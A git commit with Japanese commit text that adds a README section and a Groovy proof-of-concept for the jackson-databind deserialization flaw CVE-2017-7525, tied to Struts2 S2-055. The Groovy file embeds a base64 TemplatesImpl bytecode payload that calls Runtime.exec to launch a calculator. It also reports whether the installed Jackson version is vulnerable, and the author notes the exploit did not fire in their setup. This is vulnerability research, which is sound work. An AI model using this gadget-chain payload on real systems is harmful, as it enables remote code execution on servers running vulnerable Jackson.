poc試したが電卓起動せず。

README.md

@@ -25,6 +25,13 @@ S2-054ではデフォルトhandlerをJacksonに切り替え、さらにJackson
 
 -----
 
+サンプルコード検証に用いた筆者の環境：
+ * OS : Windows 10 Pro 64bit
+ * Java : Oracle JDK 1.8.0_92 64bit
+ * Groovy : 2.3.1
+
+-----
+
 ## jackson-databindの脆弱性 CVE-2017-7525 について
 
 Adam Caudill氏のblogで、CVE-2017-7525 の解説が公開されています。
@@ -438,6 +445,38 @@ Eclipse等のMavenに対応したIDEで開いて、依存性を解決した後
 
 CVE-2017-15095 については省略しますが、以上より 2.5.14.1 で jackson-databind の脆弱性に対応できたことを確認できました。
 
+### S2-055のPoC
+
+※ 2017-12-08 追記
+
+S2-055についての調査記事 & PoCレポートが公開されました。
+* S2-055漏洞环境搭建与分析 | 绿盟科技博客
+  * http://blog.nsfocus.net/s2-055/
+
+Google翻訳のお世話になりつつ読んでみますと、発生条件や攻撃の実現度について同じ見解のようです。
+
+実際にrest-showcaseを修正し、電卓が起動したHTTP通信のPoCも示されています。
+
+JSON部分だけ拝借し、まずはJackson単体で試してみたのが次のサンプルコードになります。
+* [cve-2017-7525-poc.groovy](https://github.com/SecureSkyTechnology/study-struts2-s2-054_055-jackson-cve-2017-7525_cve-2017-15095/blob/master/cve-2017-7525-poc.groovy)
+
+ここで 2.8.8 を使うバージョン指定で実行してみると、筆者の環境では以下のように出力されました。
+```
+your jackson version MAY NOT BE SAFE to CVE-2017-7525
+(...)
+Caused by: java.lang.NullPointerException
+        at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$1.run(TemplatesImpl.java:401)
+(...)
+```
+
+cve-2017-7525-check.groovy の時と同様、run()メソッドが走ってNullPointerExceptionが発生しました。ただ、電卓は起動しませんでした。
+
+推測になりますが、xalanのTemplatesImplはJavaの中に入ってるクラスなので、Java側で何かしら修正をしている可能性が考えられます。
+あるいは、実際の攻撃成功にはもっとナイーブな条件が必要なのかもしれません。
+
+PoC記事の方では検証に使ったJavaのバージョンまでは示されておらず、電卓を動かすところまで辿り着けませんでした。
+追加情報が出たら、また検証してみたいと思います。
+
 ## S2-054 について
 
 ここまで S2-055 を発端として主にJacksonの脆弱性 CVE-2017-7525, CVE-2017-15095 について紹介してきました。

cve-2017-7525-poc.groovy

@@ -0,0 +1,38 @@
+/* PoC signature from:
+ * @see http://blog.nsfocus.net/s2-055/
+ */
+
+@Grab('com.fasterxml.jackson.core:jackson-databind:2.8.8')
+// 2.8.9 がCVE-2017-7525修正版
+//@Grab('com.fasterxml.jackson.core:jackson-databind:2.8.9')
+import com.fasterxml.jackson.databind.ObjectMapper;
+
+class Foo {
+    public Object obj;
+}
+
+String json = """
+{
+    "obj":[
+        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
+        {
+            "transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],
+            "transletName":"a.b",
+            "outputProperties":{}
+        }
+    ]
+}
+""";
+
+ObjectMapper mapper = new ObjectMapper();
+mapper.enableDefaultTyping();
+try {
+    r = mapper.readValue(json, Foo.class);
+} catch (com.fasterxml.jackson.databind.JsonMappingException e) {
+    if (e.message.startsWith('Invalid type definition for type Lcom/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl;: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons')) {
+        println 'your jackson version IS SAFE to CVE-2017-7525';
+    } else {
+        println 'your jackson version MAY NOT BE SAFE to CVE-2017-7525';
+        println e.printStackTrace();
+    }
+}